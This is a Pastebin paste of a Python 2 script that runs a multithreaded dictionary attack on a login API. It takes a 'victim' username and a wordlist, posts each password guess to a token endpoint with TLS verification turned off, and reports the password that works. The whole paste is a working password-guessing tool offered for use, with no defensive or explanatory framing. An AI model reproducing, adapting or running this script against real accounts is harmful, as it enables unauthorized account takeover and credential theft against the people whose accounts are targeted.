Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # sudo apt-get update && sudo apt-get upgrade && sudo apt-get install python-pip && sudo pip install requests --upgrade && sudo apt-get install htop && sudo apt-get install nethogs && sudo reboot
- import requests
- from time import sleep
- import time
- import re
- import json
- import hmac
- import hashlib
- import binascii
- import sys
- import os
- import threading
- import Queue
- import socket
- import string
- import random
- requests.packages.urllib3.disable_warnings()
- class WorkerThread(threading.Thread):
- def __init__(self, queue, tid, workers, user, debug) :
- threading.Thread.__init__(self)
- self.queue = queue
- self.tid = tid
- self.user = user
- self.debug = debug
- def run(self):
- while True:
- try :
- password = self.queue.get(timeout=1)
- except Queue.Empty :
- return
- while True:
- r = requests.post("https://login/api/v1/tokens", headers={"Content-type":"application/json"}, data=json.dumps({"email":victimusername,"password":password,"client_id":u"xxxxxxxxxxxxxx\u003d\u003d","client_secret":u"m/LU/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+\u003d\u003d"}), verify=False)
- # correct pw
- if r.status_code == 200:
- print "[SUCCESS] Found the right password: " + password
- exit(0)
- elif r.status_code == 401:
- if self.debug:
- print "[FAILURE] Wrong password guess: " + password
- else:
- print "DONT KNOW"
- print r.text
- break
- self.queue.task_done()
- if len(sys.argv) < 4:
- print "[INFO] Usage: python " + sys.argv[0] + " <USERNAME> <PASSWORD_DICTIONARY_FILENAME> <THREADS> [DEBUG]"
- exit(0);
- debug = False
- victimusername = sys.argv[1]
- dictionaryname = sys.argv[2]
- workers = int(sys.argv[3])
- if len(sys.argv) > 4:
- debug = True
- print "[INFO] Creating " + str(workers) + " worker threads..."
- start = time.time()
- queue = Queue.Queue()
- threads = []
- for i in range(0, workers) : # Number of threads
- worker = WorkerThread(queue, i, workers, victimusername, debug)
- worker.setDaemon(True)
- worker.start()
- threads.append(worker)
- passwordList = open(dictionaryname,'r').read().splitlines()
- total = len(passwordList)
- print "[INFO] Total # passwords: " + str(total)
- print "[INFO] Total # threads: " + str(workers)
- for password in passwordList :
- queue.put(password.strip()) # Push passwords onto queue
- while any(i.is_alive() for i in threads):
- time.sleep(5)
- current = total - queue.qsize()
- seconds = (int)(time.time() - start)
- if current == total:
- for x in threads:
- x.join()
- percent = (current / float(total))
- speed = current / float(seconds)
- bar = ('=' * int(percent * 20))
- perc = int(percent * 100)
- sys.stdout.write("%.2f pw/s [%s] %s%% (%s/%s)\n" % (speed, bar, perc,current,total))
- sys.stdout.flush()
- print "[End] Total time: " + str((int)(time.time() - start)) + " seconds"
- sleep(10)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement